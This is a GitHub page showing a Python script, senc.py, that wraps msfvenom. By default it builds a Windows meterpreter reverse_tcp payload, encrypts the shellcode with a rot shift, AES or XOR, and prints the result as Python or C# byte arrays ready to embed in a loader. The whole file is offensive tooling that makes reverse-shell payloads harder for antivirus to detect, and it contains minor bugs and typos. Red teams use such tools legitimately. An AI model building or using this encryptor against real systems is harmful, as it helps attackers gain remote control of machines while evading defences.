-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsenc.py
164 lines (139 loc) · 6.23 KB
/
senc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
# (m4ud)'s encryptor -\_(-,-)_/-
import subprocess
import argparse
from Crypto.Cipher import AES
from Crypto.Util import Padding
import re
def caesar_encrypt(shellcode, key):
key = int(key)
encrypted_shellcode = bytearray()
for b in shellcode:
encrypted_b = (b + key) % 256
#encrypted_b = b + key
encrypted_shellcode.append(encrypted_b)
print("Caesar Cipher/rot enc for shellcode")
sizez = str(len(encrypted_shellcode))
print("\r\nShellcode size: "+ sizez + "\r\n")
return encrypted_shellcode, sizez
def aes_encrypt(shellcode, key):
key = key.encode()
# Pad the key to the correct length
key = key.ljust(16, b'\x00')
while len(key) < 16:
key += b'\x00'
cipher = AES.new(key, AES.MODE_ECB)
shellcode = Padding.pad(shellcode, AES.block_size)
encrypted_shellcode = bytearray(cipher.encrypt(shellcode))
sizez = str(len(encrypted_shellcode))
print("AES enc for shellcode")
print("\r\nShellcode size: "+ sizez + "\r\n")
return encrypted_shellcode, sizez
def xor_encrypt(shellcode, key):
key = key.encode()
encrypted_shellcode = bytearray()
for i, c in enumerate(shellcode):
if i % 2 == 0:
z = shellcode[i:i+2]
x = int(z, base=16)
encrypted_shellcode.append(x ^ int(key))
# better enc(todo)
#encrypted_shellcode.append(x ^ int(str(key[i % len(key)]), 16))
print("XOR enc for shellcode")
sizez = str(len(encrypted_shellcode))
print("\r\nShellcode size: "+ sizez + "\r\n")
return encrypted_shellcode, sizez
def main():
parser = argparse.ArgumentParser(description='Wrapper for msfvenom')
parser.add_argument('-p', '--payload', required=True, help='The payload to be generated', nargs='?', default="windows/x64/meterpreter/reverse_tcp")
parser.add_argument('-e', '--encryption', required=False, help='Encryption method')
parser.add_argument('-k', '--key', required=False, help='Key for encryption')
parser.add_argument('-lhost', '--lhost', required=True, help='The target IP')
parser.add_argument('-lport', '--lport', required=True, help='The target port')
parser.add_argument('-f', '--format', help='chsarp or python', nargs='?', default="python")
args = parser.parse_args()
msfvenom_output = subprocess.run(['msfvenom', '-p', args.payload, '-f', args.format,'-v','shellcode', '-a', 'x86', 'LHOST='+args.lhost, 'LPORT='+args.lport], capture_output=True)
shellcode = msfvenom_output.stdout.decode().strip(" ")
print("\r\n\033[1;32;40m( M4UD's Shellcode Encryptor \033[1;33;40m-\_(- -)_/-\033[1;32;40m )\033[m\r\n")
if args.encryption != None and args.format == 'csharp':
shellcode = re.findall(r'0x[0-9a-fA-F]+', shellcode)
a = ""
for i in range(len(shellcode)):
a += shellcode[i]
a = a.replace("0x","")
shellcode = a
if args.encryption != None and args.format == 'python':
shellcode += "\""
shellcode = shellcode.replace("\" +\n\"", "").replace("shellcode = b\"", "").replace("\"\n\"","").replace("\"\nshellcode += b\"", "").replace("\\x","")
if args.encryption == 'rot' and args.key and args.format == 'python':
shellcode = bytearray.fromhex(shellcode)
encrypted_shellcode, sizez = caesar_encrypt(shellcode, args.key)
print("EncShellcode = b", end="")
print("\"", end="")
for i, b in enumerate(encrypted_shellcode):
print("\\x%02x" % b, end="")
if (i+1) % 15 == 0:
print("\"")
print("EncShellcode += b\"", end="")
print("\"")
if args.encryption == 'rot' and args.key and args.format == 'csharp':
shellcode = bytearray.fromhex(shellcode)
encrypted_shellcode, sizez = caesar_encrypt(shellcode, args.key)
print("byte[] shellcode = new byte["+ sizez + "] { ")
for i, b in enumerate(encrypted_shellcode):
print("0x%02x," % b, end="")
if (i+1) % 15 == 0:
print("")
print( end="")
print(" };")
if args.encryption == 'aes' and args.key and args.format == 'python':
shellcode = bytearray.fromhex(shellcode)
encrypted_shellcode, sizez = aes_encrypt(shellcode, args.key)
#print(shellcode)
print("EncShellcode = b", end="")
print("\"", end="")
for i, b in enumerate(encrypted_shellcode):
print("\\x%02x" % b, end="")
if (i+1) % 15 == 0:
print("\"")
print("EncShellcode += b\"", end="")
print("\"")
if args.encryption == 'aes' and args.key and args.format == 'csharp':
shellcode = bytearray.fromhex(shellcode)
encrypted_shellcode, sizez = aes_encrypt(shellcode, args.key)
print("btes[] shellcode = new byte["+sizez+"] { ")
for i, b in enumerate(encrypted_shellcode):
print("0x%02x," % b, end="")
if (i+1) % 15 == 0:
print("")
print(end="")
print(" };")
if args.encryption == 'xor' and args.key and args.format == 'python':
shellcode = bytearray(shellcode.encode())
encrypted_shellcode, sizez = xor_encrypt(shellcode, args.key)
#print(shellcode)
print("EncShellcode = b", end="")
print("\"", end="")
for i, b in enumerate(encrypted_shellcode):
print("\\x%02x" % b, end="")
if (i+1) % 15 == 0:
print("\"")
print("EncShellcode += b\"", end="")
print("\"")
if args.encryption == 'xor' and args.key and args.format == 'csharp':
shellcode = bytearray(shellcode.encode())
encrypted_shellcode, sizez = xor_encrypt(shellcode, args.key)
print("byte[] shellcode = new byte["+sizez+"] { ")
for i, b in enumerate(encrypted_shellcode):
print("0x%02x," % b ,end="")
if (i+1) % 15 == 0:
print("")
print(end="")
print(" };")
if args.encryption == None:
if isinstance(shellcode, bytes):
shellcode = shellcode.replace(b'shelcode =',b'OShellcode = ')
else:
shellcode = shellcode.replace('shelcode =','OShellcode = ')
print(shellcode)
if __name__ == '__main__':
main()